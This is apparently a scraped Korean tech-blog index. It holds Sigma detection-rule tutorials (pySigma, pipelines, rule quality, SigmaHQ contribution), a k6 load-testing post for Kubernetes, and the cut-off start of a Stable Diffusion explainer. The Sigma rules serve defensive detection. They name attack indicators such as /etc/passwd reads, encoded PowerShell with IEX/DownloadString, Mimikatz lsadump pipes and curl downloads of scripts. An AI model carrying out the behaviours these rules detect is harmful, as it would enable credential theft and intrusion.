사용자별로 그룹화 - IpAddress timespan: 5m condition: gte: 10 # 5분 안에 10번 이상 실패 level: high tags: [attack.credential_access, attack.t1110] 상관관계 타입:\n타입 설명 event_count 시간 내 이벤트 발생 횟수 value_count 고유 값 개수 (예: 접속한 IP 수) temporal 여러 룰이 같은 시간 창 안에 모두 발생 temporal_ordered 여러 룰이 순서대로 발생 temporal_ordered 예시: \u0026ldquo;로그인 성공 → 민감 파일 접근 → 외부 연결\u0026quot;이 순서대로 발생하면 내부자 데이터 유출 의심.\nlogsource별 필드 맵 변환기가 process_creation 이벤트의 Image 필드를 실제 SIEM 필드로 어떻게 변환하는지:\nWindows process_creation Sigma 필드 Sysmon (Event 1) Windows Audit (4688) auditd Image Image NewProcessName exe CommandLine CommandLine CommandLine cmd ParentImage ParentImage ParentProcessName ppid→exe User User SubjectUserName uid→name Hashes Hashes (없음) (없음) 변환기(pySigma)는 파이프라인 설정에서 이 매핑을 처리한다.\n실전 룰 작성 예시 예시 1: Linux에서 passwd 덤프 시도 title: Passwd File Read Attempt id: a1b2c3d4-e5f6-7890-abcd-ef1234567890 status: experimental description: 비루트 프로세스가 /etc/passwd를 읽으려 함 references: - https://attack.mitre.org/techniques/T1003/008/ author: My Name date: 2026-06-15 tags: - attack.credential_access - attack.t1003.008 logsource: product: linux category: file_access detection: selection: FileName: \u0026#39;/etc/passwd\u0026#39; filter_root: UserId: 0 filter_legit: Image|endswith: - \u0026#39;/login\u0026#39; - \u0026#39;/passwd\u0026#39; - \u0026#39;/useradd\u0026#39; condition: selection and not filter_root and not 1 of filter_legit falsepositives: - 관리 스크립트가 직접 읽는 경우 level: medium 예시 2: Windows에서 PowerShell 난독화 title: PowerShell Encoded Command Execution id: b2c3d4e5-f6a7-8901-bcde-f12345678901 status: test description: PowerShell이 -EncodedCommand 플래그로 실행됨. 악성 스크립트가 탐지를 피하려 자주 씀. references: - https://attack.mitre.org/techniques/T1059/001/ author: My Name date: 2026-06-15 tags: - attack.execution - attack.t1059.001 - attack.defense_evasion - attack.t1027 logsource: product: windows category: process_creation detection: selection_encoded: Image|endswith: - \u0026#39;\\powershell.exe\u0026#39; - \u0026#39;\\pwsh.exe\u0026#39; CommandLine|contains|windash: - \u0026#39; -EncodedCommand \u0026#39; - \u0026#39; -enc \u0026#39; - \u0026#39; -ec \u0026#39; filter_scheduled: ParentImage|endswith: \u0026#39;\\taskhost.exe\u0026#39; CommandLine|contains: \u0026#39;ScheduledTasks\u0026#39; condition: selection_encoded and not filter_scheduled falsepositives: - SCCM, 관리 스크립트 일부 level: medium 예시 3: 네트워크 스캔 탐지 (auditd) title: Network Scanning Tool Execution id: c3d4e5f6-a7b8-9012-cdef-123456789012 status: test description: nmap, masscan 같은 네트워크 스캔 도구 실행 logsource: product: linux service: auditd detection: selection: type: EXECVE a0|endswith: - \u0026#39;/nmap\u0026#39; - \u0026#39;/masscan\u0026#39; - \u0026#39;/zmap\u0026#39; - \u0026#39;/rustscan\u0026#39; condition: selection falsepositives: - 네트워크 팀의 정기 스캔 - 취약점 점검 업무 level: medium tags: - attack.discovery - attack.t1046 false positives 관리 FP(오탐)가 많으면 룰을 신뢰할 수 없다. 관리 방법:\nfalsepositives 필드에 기록: 어떤 정상 행동이 이 룰에 걸릴 수 있는지 설명. 룰 사용자에게 힌트.\nfilter_* 블록 추가: 알려진 FP를 구조적으로 제외.\nlevel 낮추기: 확신이 없으면 high → medium으로 내리고 운영 중 모니터링.\nstatus 표시: 검증이 덜 됐으면 experimental로.\nsigma-cli 사용 # 설치 pip install sigma-cli # 플러그인 목록 확인 sigma plugin list # 백엔드 설치 (Elasticsearch) sigma plugin install pySigma-backend-elasticsearch # 변환 sigma convert \\ --target elasticsearch \\ --pipeline ecs_windows \\ rules/windows/process_creation/proc_creation_win_powershell_enc.yml # 여러 룰 일괄 변환 sigma convert \\ --target splunk \\ --pipeline windows-splunk \\ rules/windows/process_creation/ # 파이프라인 지정 sigma convert \\ --target qradar \\ --pipeline sysmon \\ my_rule.yml 도구 생태계 도구 역할 sigma-cli 공식 CLI 변환기 pySigma Python 라이브러리 (백엔드 구현체) sigconverter.io 웹 GUI 변환기 detection.studio 웹 GUI 변환기 uncoder.io 쿼리 변환 (Sigma 포함) Phoenix Sigma 룰 인텔리전스 플랫폼 MITRE ATT\u0026amp;CK navigator ATT\u0026amp;CK 커버리지 시각화 ","permalink":"https://charminggroot.github.io/posts/sigma-basics/","summary":"Sigma 룰의 모든 필드를 하나씩 분해. logsource의 3축(product/category/service), detection의 selection+modifier+condition, 상관관계(correlation) 기초.","title":"보안-03. Sigma 기초 — 룰 문법, logsource, detection 완전 분해"},{"content":"pySigma 내부 구조 pySigma는 Sigma CLI의 기반 라이브러리다. 3개 레이어로 구성된다.\nSigma 룰 (YAML) │ ▼ [Parser] ← SigmaRule, SigmaCollection 파싱 │ ▼ [Pipeline] ← 필드명 변환, 값 변환, 조건 수정 │ FieldMappingTransformation │ ValueTransformation │ DetectionItemTransformation │ ... ▼ [Backend] ← 대상 쿼리 언어로 직렬화 │ ▼ SIEM 쿼리 (SPL / DSL / KQL / AQL / ...) Parser 단계 YAML을 파싱해서 내부 객체 모델로 변환한다:\nSigmaRule: 단일 룰 SigmaDetection: detection 섹션 SigmaDetectionItem: 하나의 selection 항목 (field + modifier + values) SigmaCondition: condition 표현식 (AST) from sigma.rule import SigmaRule from sigma.collection import SigmaCollection # 단일 룰 파싱 with open(\u0026#34;my_rule.yml\u0026#34;) as f: rule = SigmaRule.from_yaml(f.read()) print(rule.title) print(rule.detection.parsed_condition) # 컬렉션 (디렉터리 전체) col = SigmaCollection.load_ruleset([\u0026#34;rules/windows/process_creation/\u0026#34;]) Pipeline 단계 파이프라인은 변환 스탭들의 순서 목록이다. 주 역할은 Sigma 필드 이름 → SIEM 필드 이름 변환.\nfrom sigma.processing.pipeline import ProcessingPipeline, ProcessingItem from sigma.processing.transformations import FieldMappingTransformation pipeline = ProcessingPipeline( name=\u0026#34;my-siem-pipeline\u0026#34;, items=[ ProcessingItem( identifier=\u0026#34;process_creation_mapping\u0026#34;, transformation=FieldMappingTransformation({ \u0026#34;Image\u0026#34;: \u0026#34;process.executable\u0026#34;, \u0026#34;CommandLine\u0026#34;: \u0026#34;process.command_line\u0026#34;, \u0026#34;User\u0026#34;: \u0026#34;user.name\u0026#34;, \u0026#34;ParentImage\u0026#34;: \u0026#34;process.parent.executable\u0026#34;, }), ) ] ) 공식 파이프라인들:\necs_windows: Elastic Common Schema (ECS) + Windows sysmon: Sysmon 이벤트 ID 기반 windows-splunk: Splunk Windows 필드명 windows-audit: Windows Security Audit 로그 파이프라인 체이닝:\nfinal_pipeline = ecs_windows_pipeline() | my_custom_pipeline() Backend 단계 SigmaCollection + Pipeline → 쿼리 문자열.\nfrom sigma.backends.elasticsearch import LuceneBackend from sigma.processing.resolver import ProcessingPipelineResolver backend = LuceneBackend( processing_pipeline=my_pipeline ) # 변환 queries = backend.convert(collection) for query in queries: print(query) 커스텀 백엔드 작성 자체 SIEM이나 로그 분석 도구를 위한 백엔드를 만드는 법.\nfrom sigma.backends.base import TextQueryBackend from sigma.conditions import ConditionOR, ConditionAND, ConditionNOT from sigma.processing.pipeline import ProcessingPipeline class MyBackend(TextQueryBackend): \u0026#34;\u0026#34;\u0026#34;Custom SIEM 백엔드\u0026#34;\u0026#34;\u0026#34; name = \u0026#34;my_siem\u0026#34; identifier = \u0026#34;my-siem\u0026#34; formats = { \u0026#34;default\u0026#34;: \u0026#34;기본 쿼리 포맷\u0026#34;, \u0026#34;json\u0026#34;: \u0026#34;JSON 포맷\u0026#34;, } # 연산자 정의 and_token = \u0026#34; AND \u0026#34; or_token = \u0026#34; OR \u0026#34; not_token = \u0026#34;NOT \u0026#34; eq_token = \u0026#34;:\u0026#34; # 문자열 따옴표 str_quote = \u0026#39;\u0026#34;\u0026#39; escape_char = \u0026#34;\\\\\u0026#34; # 필드 표현 field_quote = \u0026#34;\u0026#34; # 필드명에 따옴표 안 씀 # 와일드카드 wildcard_multi = \u0026#34;*\u0026#34; wildcard_single = \u0026#34;?\u0026#34; def convert_condition_and(self, cond: ConditionAND, state) -\u0026gt; str: exprs = [self.convert_condition(arg, state) for arg in cond.args] return f\u0026#34;({self.and_token.join(exprs)})\u0026#34; def convert_condition_or(self, cond: ConditionOR, state) -\u0026gt; str: exprs = [self.convert_condition(arg, state) for arg in cond.args] return f\u0026#34;({self.or_token.join(exprs)})\u0026#34; 파이프라인 심화: Transformation 타입들 파이프라인 변환 타입 전체:\n필드 관련 # 필드 이름 변환 (가장 많이 씀) FieldMappingTransformation({\u0026#34;Image\u0026#34;: \u0026#34;process.exe\u0026#34;}) # 필드 이름 접두사 추가 AddFieldnamePrefixTransformation(\u0026#34;winlog.event_data.\u0026#34;) # 조건에 맞는 필드만 변환 ConditionalFieldMappingTransformation( {\u0026#34;CommandLine\u0026#34;: \u0026#34;event_data.CommandLine\u0026#34;}, rule_conditions=[LogsourceCondition(category=\u0026#34;process_creation\u0026#34;)] ) 값 관련 # 값에 접두사/접미사 추가 PrependValueTransformation(\u0026#34;*\u0026#34;) # 모든 값 앞에 와일드카드 # 정규식으로 값 변환 ReplaceStringTransformation( regex=r\u0026#34;^C:\\\\Windows\\\\\u0026#34;, replacement=\u0026#34;%SystemRoot%\\\\\u0026#34; ) 탐지 항목 관련 # 특정 필드 삭제 DropDetectionItemTransformation() # 필터 조건에 맞으면 제거 # 탐지 항목 추가 AddConditionTransformation({\u0026#34;index\u0026#34;: \u0026#34;windows-*\u0026#34;}) logsource 관련 # logsource를 실제 인덱스/소스로 변환 AddFieldnameSuffixTransformation(\u0026#34;_evt\u0026#34;) # logsource 조건으로 변환 트리거 LogsourceCondition( product=\u0026#34;windows\u0026#34;, category=\u0026#34;process_creation\u0026#34; ) 파이프라인 YAML 정의 Python 코드 대신 YAML로도 파이프라인 정의 가능.\nname: my-custom-pipeline priority: 50 transformations: - id: field_mapping_process type: field_name_mapping mapping: Image: process.executable CommandLine: process.command_line User: user.name rule_conditions: - type: logsource category: process_creation - id: add_index type: add_condition conditions: index: \u0026#34;logs-*\u0026#34; - id: drop_hash_field type: drop_detection_item field_name_conditions: - type: include_fields fields: [Hashes] # CLI에서 커스텀 파이프라인 사용 sigma convert \\ --target my-siem \\ --pipeline my-pipeline.yml \\ rules/windows/ 룰 품질 기준 (SigmaHQ 커뮤니티 기준) PR을 내려면 알아야 할 기준들.\n필수 조건 제목: 명확하고 행동 중심적. \u0026ldquo;Suspicious X via Y\u0026rdquo; 패턴. UUID: uuidgen으로 생성한 새 UUID. status: 테스트 안 됐으면 experimental, 검증됐으면 test. logsource 정확성: product와 category 올바르게 설정. 잘못된 logsource는 변환이 안 됨. MITRE ATT\u0026amp;CK 태그: 해당하는 기법 ID 필수. falsepositives: 명확한 FP 케이스 기술. \u0026ldquo;None\u0026quot;이면 \u0026ldquo;Unknown\u0026rdquo; 권장. level: 탐지 정확도에 맞게. 품질 체크 포인트 # sigma-cli로 룰 검증 sigma check my_rule.yml # 특정 백엔드로 변환 테스트 sigma convert --target elasticsearch --pipeline ecs_windows my_rule.yml 좋은 룰 vs 나쁜 룰 나쁜 룰:\n# 너무 넓음 — powershell.exe가 뭔가를 실행하면 다 잡힘 detection: selection: Image|endswith: \u0026#39;\\powershell.exe\u0026#39; condition: selection 좋은 룰:\n# 구체적 — 인코딩 + 특정 컨텍스트 detection: selection: Image|endswith: \u0026#39;\\powershell.exe\u0026#39; CommandLine|contains|windash: \u0026#39; -enc \u0026#39; CommandLine|base64offset|contains: - \u0026#39;IEX\u0026#39; - \u0026#39;Invoke-Expression\u0026#39; - \u0026#39;DownloadString\u0026#39; filter_admin: ParentImage|startswith: \u0026#39;C:\\Windows\\System32\\mmc.exe\u0026#39; condition: selection and not filter_admin FP를 줄이는 원칙:\n부모 프로세스(ParentImage)로 컨텍스트 좁히기 특정 인자 조합 요구 알려진 정상 경로 필터 사용자 컨텍스트 고려 (SYSTEM vs 일반 사용자) 위협 헌팅 룰 vs 탐지 룰 SigmaHQ는 두 종류의 룰을 구분한다.\n탐지 룰 (rules/) 목적: 실시간 SIEM 경보 특징: 정밀도(Precision) 우선. FP 낮아야 함. 범위: 좁은 조건, 확실한 악성 시그니처 예: 알려진 악성툴의 특정 named pipe 패턴 # 탐지 룰 예: Mimikatz 특정 파이프 logsource: product: windows category: pipe_created detection: selection: PipeName|contains: - \u0026#39;\\lsadump\u0026#39; - \u0026#39;\\cachedump\u0026#39; condition: selection level: critical # 높은 신뢰도 → 높은 level 위협 헌팅 룰 (rules-threat-hunting/) 목적: 사람이 분석할 후보 이벤트 추출 특징: 재현율(Recall) 우선. 넓게 잡고 애널리스트가 걸러냄 범위: 의심스럽지만 정상일 수 있는 행동 예: net.exe를 누군가 실행했다 # 헌팅 룰 예: 네트워크 정찰 명령 실행 logsource: product: windows category: process_creation detection: selection: Image|endswith: \u0026#39;\\net.exe\u0026#39; CommandLine|contains: - \u0026#39; user \u0026#39; - \u0026#39; group \u0026#39; - \u0026#39; localgroup \u0026#39; - \u0026#39; accounts \u0026#39; condition: selection falsepositives: - 시스템 관리자 일상 작업 level: low # FP 많음 → 낮은 level, 헌팅 시작점 MITRE ATT\u0026amp;CK 커버리지 분석 내 룰셋이 ATT\u0026amp;CK의 어떤 기법을 커버하는지 시각화하는 방법.\nMITRE ATT\u0026amp;CK Navigator https://mitre-attack.github.io/attack-navigator/ 접속 내 룰들의 태그에서 기법 ID 추출 Navigator에 레이어로 업로드 # 룰 디렉터리에서 ATT\u0026amp;CK 기법 ID 추출 find rules/ -name \u0026#34;*.yml\u0026#34; -exec grep -h \u0026#34;attack\\\\.t\u0026#34; {} \\; | \\ grep -oP \u0026#39;attack\\.t\\d+(\\.\\d+)?\u0026#39; | \\ sort -u | \\ sed \u0026#39;s/attack\\.//\u0026#39; 커버리지 갭 찾기 # 기법별 룰 수 카운트 find rules/ -name \u0026#34;*.yml\u0026#34; -exec grep -h \u0026#34;attack\\.t\u0026#34; {} \\; | \\ grep -oP \u0026#39;attack\\.t\\d+\\.\\d+\u0026#39; | \\ sort | uniq -c | sort -rn | head -20 많이 커버된 기법(PowerShell, cmd 실행 등)은 충분하고, 잘 안 다뤄진 기법(메모리 인젝션, 펌웨어 조작 등)이 contribution 기회.\n실전: 룰 작성부터 PR까지 단계 1: 위협 리서치 공격 기법 파악:\nMITRE ATT\u0026amp;CK — 기법 설명, 사용된 툴 GTFOBins — Linux 바이너리 어뷰즈 LOLBAS — Windows Living off the Land 보안 블로그/Threat Intel 리포트 단계 2: 로그 이벤트 파악 해당 공격이 어떤 로그를 남기는지 확인:\nWindows: Sysmon Event 1 (process creation), Event 3 (network), Event 11 (file create) Linux: auditd execve, openat, connect 단계 3: 룰 초안 작성 title: Suspicious Binary Download via Curl id: \u0026lt;새 UUID\u0026gt; status: experimental description: curl을 이용해 실행 파일을 다운로드하는 의심 행동 logsource: product: linux category: process_creation detection: selection: Image|endswith: \u0026#39;/curl\u0026#39; CommandLine|contains: - \u0026#39; -o \u0026#39; - \u0026#39;--output\u0026#39; CommandLine|contains: - \u0026#39;.sh\u0026#39; - \u0026#39;.py\u0026#39; - \u0026#39;.elf\u0026#39; - \u0026#39;.bin\u0026#39; condition: selection falsepositives: - 패키지 설치 스크립트 - CI/CD 파이프라인 level: medium tags: - attack.execution - attack.t1105 # Ingress Tool Transfer 단계 4: 검증 # 형식 검증 sigma check my_rule.yml # 변환 테스트 sigma convert --target elasticsearch --pipeline ecs_linux my_rule.yml # 실제 로그에 적용 (Elasticsearch) curl -X GET \u0026#34;localhost:9200/logs-*/_search\u0026#34; -H \u0026#39;Content-Type: application/json\u0026#39; -d \u0026#39;{ \u0026#34;query\u0026#34;: \u0026lt;변환된 쿼리\u0026gt; }\u0026#39; 단계 5: 튜닝 FP를 발견하면 필터 추가:\nfilter_package_install: ParentImage|endswith: - \u0026#39;/apt\u0026#39; - \u0026#39;/yum\u0026#39; - \u0026#39;/brew\u0026#39; filter_ci: User: jenkins condition: selection and not 1 of filter_* 단계 6: PR SigmaHQ CONTRIBUTING 가이드:\n파일 이름 규칙: {category}_{product}_{description}.yml proc_creation_lnx_curl_suspicious_download.yml 파일 위치: rules/{product}/{category}/ 기존 룰과 중복 없는지 확인 (sigma check --duplicate) PR 제목: \u0026ldquo;New: \u0026rdquo; pySigma로 에이전트 통합 보안 에이전트에서 Sigma 룰을 런타임에 변환·적용하는 패턴.\nfrom sigma.collection import SigmaCollection from sigma.backends.elasticsearch import LuceneBackend from sigma.processing.resolver import ProcessingPipelineResolver from sigma.processing.pipeline import ProcessingPipeline import yaml class SigmaQueryEngine: \u0026#34;\u0026#34;\u0026#34;런타임에 Sigma 룰을 SIEM 쿼리로 변환하는 엔진\u0026#34;\u0026#34;\u0026#34; def __init__(self, backend_name: str, pipeline_path: str): # 파이프라인 로드 with open(pipeline_path) as f: pipeline_config = yaml.safe_load(f) self.pipeline = ProcessingPipeline.from_yaml(yaml.dump(pipeline_config)) # 백엔드 초기화 if backend_name == \u0026#34;elasticsearch\u0026#34;: self.backend = LuceneBackend(processing_pipeline=self.pipeline) # ... 다른 백엔드들 def convert_rule(self, rule_path: str) -\u0026gt; list[str]: with open(rule_path) as f: collection = SigmaCollection.from_yaml(f.read()) return self.backend.convert(collection) def convert_directory(self, rules_dir: str) -\u0026gt; dict[str, list[str]]: \u0026#34;\u0026#34;\u0026#34;디렉터리의 모든 룰을 변환. 파일명 → 쿼리 목록\u0026#34;\u0026#34;\u0026#34; from pathlib import Path results = {} for rule_file in Path(rules_dir).glob(\u0026#34;**/*.yml\u0026#34;): try: queries = self.convert_rule(str(rule_file)) results[rule_file.stem] = queries except Exception as e: print(f\u0026#34;변환 실패 {rule_file}: {e}\u0026#34;) return results # 사용 engine = SigmaQueryEngine(\u0026#34;elasticsearch\u0026#34;, \u0026#34;pipeline.yml\u0026#34;) queries = engine.convert_directory(\u0026#34;rules/linux/\u0026#34;) # 이 쿼리들을 Elasticsearch에 Watch/Alert으로 등록 이 패턴으로 에이전트가:\nSigma 룰 레포에서 최신 룰 pull 대상 SIEM에 맞게 변환 SIEM에 알림 룰로 등록 경보를 받아서 자동 대응 룰셋 관리 전략 레이어 구조 rules/ ← upstream SigmaHQ (git submodule 또는 별도 clone) custom-rules/ ← 자체 작성 룰 (organization 특화) ├── my-product/ ← 자체 제품 로그 소스 ├── tuned/ ← upstream 룰 튜닝 버전 └── internal/ ← 내부 정책 기반 탐지 버전 관리 # upstream 룰 특정 버전 고정 git submodule add https://github.com/SigmaHQ/sigma rules-upstream git -C rules-upstream checkout v1.2.3 # 검증된 버전 고정 # 새 버전 업그레이드 시 git -C rules-upstream pull # 변경된 룰 중 우리 환경에 영향 있는 것 리뷰 # 파이프라인으로 재변환하고 SIEM 업데이트 자동화 파이프라인 # .github/workflows/sigma-sync.yml name: Sigma Rules Sync on: schedule: - cron: \u0026#39;0 6 * * 1\u0026#39; # 매주 월요일 오전 6시 workflow_dispatch: jobs: convert: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: submodules: true - name: Install sigma-cli run: pip install sigma-cli - name: Convert rules run: | sigma convert \\ --target elasticsearch \\ --pipeline ecs_windows \\ --output-format ndjson \\ rules-upstream/rules/windows/ \u0026gt; converted/windows.ndjson - name: Deploy to SIEM run: | curl -X POST \u0026#34;https://es.internal/sigma-rules/_bulk\u0026#34; \\ --data-binary @converted/windows.ndjson 다음 단계 공부 순서 제안:\n기초 다지기: rules/linux/ 디렉터리의 간단한 룰 10개 읽고 문법 익히기 변환 실습: sigma-cli 설치 → 룰 하나 골라서 Elasticsearch/Splunk 쿼리로 변환 직접 작성: GTFOBins에서 기법 하나 골라서 Linux process_creation 룰 작성 FP 관리 실습: 룰을 실제 로그에 적용하고 FP 찾아서 필터 추가 코드 기여: SigmaHQ에 새 Linux 룰 PR 도전 (good-first-issue 라벨 확인) pySigma: 간단한 커스텀 백엔드 작성 (자체 로그 소스) ","permalink":"https://charminggroot.github.io/posts/sigma-advanced/","summary":"pySigma 내부 구조(Backend/Pipeline/Transformation), 커스텀 백엔드 작성, 룰 품질 기준, 위협 헌팅과 기본 탐지의 차이, MITRE ATT\u0026amp;CK 커버리지 매핑 실전.","title":"보안-04. Sigma 심화 — pySigma, 백엔드, 파이프라인, 룰 작성 전략"},{"content":"일반 환경의 부하 테스트와 k8s의 차이는 측정 대상이 하나가 아니라는 것이다. 애플리케이션의 레이턴시와 에러율뿐 아니라 HPA(Horizontal Pod Autoscaler)가 제때 스케일아웃하는지, Pod이 OOM으로 죽지 않는지, Node 자원이 한계에 도달하지 않는지를 동시에 봐야 한다.\nk6를 클러스터 내부에서 실행한다 k6는 Grafana Labs가 관리하는 오픈소스 부하 테스트 도구다. JavaScript로 시나리오를 작성하고 CLI로 실행한다. k8s에서는 k6 자체를 Job Pod으로 띄워 클러스터 내부에서 트래픽을 발생시킨다. 외부에서 호출하면 네트워크 지연이 섞여 애플리케이션 순수 성능을 측정하기 어렵다.\napiVersion: batch/v1 kind: Job metadata: name: k6-load-test spec: template: spec: containers: - name: k6 image: grafana/k6:latest command: [\u0026#34;k6\u0026#34;, \u0026#34;run\u0026#34;, \u0026#34;/scripts/test.js\u0026#34;] env: - name: TARGET_URL value: \u0026#34;http://my-service.default.svc.cluster.local\u0026#34; - name: AUTH_TOKEN valueFrom: secretKeyRef: name: load-test-secrets key: auth-token volumeMounts: - name: scripts mountPath: /scripts volumes: - name: scripts configMap: name: k6-scripts restartPolicy: Never 테스트 스크립트는 ConfigMap으로 주입하고, 인증 토큰이나 비밀번호는 Secret으로 분리한다.\n// test.js import http from \u0026#39;k6/http\u0026#39; import { check, sleep, Trend } from \u0026#39;k6\u0026#39; export const options = { stages: [ { duration: \u0026#39;1m\u0026#39;, target: 50 }, // 50 VU(가상 유저)로 램프업 { duration: \u0026#39;3m\u0026#39;, target: 50 }, // 유지 { duration: \u0026#39;1m\u0026#39;, target: 0 }, // 램프다운 ], thresholds: { http_req_duration: [\u0026#39;p(95)\u0026lt;500\u0026#39;], // P95 레이턴시 500ms 이내 http_req_failed: [\u0026#39;rate\u0026lt;0.01\u0026#39;], // 에러율 1% 미만 }, } export default function () { const res = http.get(`${__ENV.TARGET_URL}/api/products`, { headers: { Authorization: `Bearer ${__ENV.AUTH_TOKEN}` }, }) check(res, { \u0026#39;status 200\u0026#39;: (r) =\u0026gt; r.status === 200 }) sleep(1) } P95는 전체 요청 중 95번째 백분위 레이턴시다. 평균은 이상치에 희석되어 실제 사용자 경험을 반영하지 못한다. P95와 P99를 함께 보는 것이 일반적이다.\n분산 부하 테스트: k6 Operator 단일 Pod으로는 트래픽 규모가 부족할 때 k6 Operator를 사용한다. CRD(Custom Resource Definition)로 TestRun 리소스를 정의하면 Operator가 여러 k6 Pod을 생성해 VU를 나눠 담당한다.\napiVersion: k6.io/v1alpha1 kind: TestRun metadata: name: distributed-test spec: parallelism: 4 # k6 Pod 4개가 동시 실행 script: configMap: name: k6-scripts file: test.js parallelism: 4, VU 200이면 Pod 1개당 50 VU를 담당한다. 결과는 자동으로 집계된다.\nPrometheus와 Grafana 연동 k6 결과를 Prometheus로 내보내면 인프라 메트릭과 부하 메트릭을 Grafana 하나에서 함께 볼 수 있다.\nk6 run --out experimental-prometheus-rw test.js 또는 환경변수로 설정한다.\nenv: - name: K6_PROMETHEUS_RW_SERVER_URL value: \u0026#34;http://prometheus:9090/api/v1/write\u0026#34; Grafana에서 k6가 보내는 주요 메트릭은 다음과 같다.\n메트릭 의미 k6_http_req_duration 요청 레이턴시 (P50/P95/P99) k6_http_req_failed 에러율 k6_vus 현재 활성 가상 유저 수 k6_iterations 완료된 반복 횟수 이 메트릭과 container_memory_usage_bytes, container_cpu_usage_seconds_total 같은 Pod 메트릭을 같은 대시보드에 올려두면 \u0026ldquo;VU 100명 이상에서 CPU가 한계에 도달한다\u0026quot;는 관계를 직접 확인할 수 있다.\nHPA 반응 확인 부하 테스트 중 별도 터미널에서 HPA와 Pod 변화를 관찰한다.\nkubectl get hpa -w kubectl get pods -w kubectl describe hpa my-app-hpa HPA는 기본적으로 15초마다 메트릭을 수집하고, 스케일업 후 3분 동안 추가 스케일업을 유예한다(cooldown). 이 때문에 트래픽 스파이크가 짧으면 HPA가 반응하기 전에 P99 레이턴시가 급격히 높아진다. 이 취약 구간을 의도적으로 만들어 확인하는 것이 스파이크 테스트(Spike Test)다.\n// 급격한 스파이크 시나리오 export const options = { stages: [ { duration: \u0026#39;10s\u0026#39;, target: 5 }, { duration: \u0026#39;10s\u0026#39;, target: 200 }, // 갑자기 200 VU { duration: \u0026#39;1m\u0026#39;, target: 200 }, { duration: \u0026#39;10s\u0026#39;, target: 5 }, ], } 비동기 구조 (큐 기반) API가 요청을 받아 큐에 적재하고 워커가 별도로 처리하는 구조에서는 측정 포인트를 세 단계로 나눠야 한다.\n1단계: API 레이턴시\nAPI가 큐에 넣는 것까지의 시간이다. 일반 k6 테스트와 동일하다. 응답이 202 Accepted인지 확인한다.\n2단계: 큐 적체\n부하를 발생시키는 동안 큐 깊이(Queue Depth)를 Prometheus로 수집한다. 큐 깊이가 지속적으로 증가하면 워커가 처리 속도를 따라가지 못하는 것이다.\n# Kafka LAG 확인 kafka-consumer-groups.sh --describe --group my-worker-group # SQS 적체 메시지 수 aws sqs get-queue-attributes \\ --attribute-names ApproximateNumberOfMessages KEDA를 쓴다면 이 큐 깊이 메트릭을 기준으로 워커 Pod이 자동으로 스케일아웃된다. 부하 테스트 중 KEDA가 실제로 워커를 늘리는지, 큐가 결국 소화되는지를 확인한다.\n3단계: End-to-End 레이턴시\n요청을 넣은 시각부터 처리가 완료된 시각까지의 전체 시간이다. 이를 측정하려면 API가 Job ID를 반환하고, 별도 상태 조회 엔드포인트가 있어야 한다.\nconst e2eLatency = new Trend(\u0026#39;e2e_latency_ms\u0026#39;) export default function () { const submitRes = http.post(\u0026#39;/api/jobs\u0026#39;, JSON.stringify({ payload: \u0026#39;test\u0026#39; }), { headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39; }, }) const jobId = submitRes.json(\u0026#39;jobId\u0026#39;) const startTime = Date.now() // 완료될 때까지 폴링 const timeout = 30000 while (Date.now() - startTime \u0026lt; timeout) { sleep(0.5) const statusRes = http.get(`/api/jobs/${jobId}/status`) if (statusRes.json(\u0026#39;status\u0026#39;) === \u0026#39;completed\u0026#39;) { e2eLatency.add(Date.now() - startTime) break } } } 상태 조회 엔드포인트가 없으면 테스트를 위해 만들어야 한다. 비동기 구조에서 E2E 레이턴시를 측정하려면 처음부터 Observability를 고려한 API 설계가 필요하다.\n테스트 데이터 준비 상황 전략 테스트 환경 DB가 비어있음 테스트 전 seed 스크립트로 데이터 주입 실제 유저 데이터가 필요함 프로덕션 덤프에서 PII 제거 후 CSV 추출 매 요청마다 다른 유저 필요 CSV + VU 인덱스로 분배 (users[__VU % users.length]) 결제 같은 부작용 있는 API sandbox 엔드포인트 또는 mock 서버 외부 API 의존성 있음 WireMock으로 stub 처리 인증 토큰은 테스트 전용 장수 토큰을 발급해 Secret으로 주입하거나, setup() 함수에서 로그인해 토큰을 획득한 뒤 각 VU에 전달한다.\n트레이드오프 클러스터 내부에서 부하 테스트를 실행하면 k6 Pod 자체가 Node 자원을 소비한다. 테스트 대상 애플리케이션과 같은 Node에 스케줄링되면 결과가 왜곡된다. k6 Job에 nodeSelector나 taint/toleration을 걸어 전용 Node에서 실행하거나, 리소스 요청량을 명시해 스케줄러가 분리하도록 해야 한다.\n또한 부하 테스트는 테스트 환경에서만 실행해야 한다. 프로덕션 환경에서 실수로 실행하면 실제 사용자에게 영향을 준다. CI/CD 파이프라인에 통합할 때는 네임스페이스나 클러스터 분리를 철저히 확인한다.\n","permalink":"https://charminggroot.github.io/posts/063-k8s-load-testing/","summary":"k8s 환경에서 부하 테스트는 애플리케이션 성능과 인프라 반응을 동시에 검증한다. k6를 Pod으로 실행해 클러스터 내부에서 트래픽을 발생시키고, Prometheus와 Grafana로 실시간 메트릭을 수집한다. 동기 API뿐 아니라 큐 기반 비동기 구조도 측정 포인트를 나누면 테스트 가능하다.","title":"063. k8s 부하 테스트 — k6, Grafana, 비동기 구조"},{"content":"Stable Diffusion을 이해하려면 \u0026ldquo;노이즈를 지우는 법을 배운다\u0026quot;는 직관에서 시작하는 것이 빠르다. 깨끗한 이미지에 노이즈를 단계적으로 추가하는 과정은 간단하다. Stable Diffusion은 그 반대 방향, 즉 완전한 노이즈에서 깨끗한 이미지로 복원하는 과정을 신경망으로 학습한다.\n확산 모델의 원리 순방향 확산 (Forward Diffusion) 학습 데이터(깨끗한 이미지)에 가우시안 노이즈를 T 스텝에 걸쳐 조금씩 추가한다. T = 1000이면 1000번에 걸쳐 점점 더 많은 노이즈를 입힌다. 마지막 스텝에서는 원본 이미지 정보가 완전히 사라지고 순수한 노이즈만 남는다.\nx₀ (깨끗한 이미지) → x₁ → x₂ → ... → xₜ (순수 노이즈) 각 스텝의 노이즈 강도는 β 스케줄(noise schedule)로 제어한다. β가 작으면 천천히, 크면 빠르게 노이즈가 쌓인다.\n수식으로는 q(xₜ | xₜ₋₁) = N(xₜ; √(1-βₜ)xₜ₋₁, βₜI) 다. xₜ는 이전 스텝 xₜ₋₁에 약간의 노이즈를 더한 것이다. 중요한 특성은 임의의 스텝 t에서의 noisy 이미지를 x₀에서 직접 샘플링할 수 있다는 것이다. 매 스텝을 순서대로 계산할 필요가 없어 학습이 효율적이다.\n역방향 확산 (Reverse Diffusion) 모델이 학습하는 것은 역방향 프로세스다. p_θ(xₜ₋₁ | xₜ), 즉 노이즈가 있는 이미지 xₜ에서 조금 덜 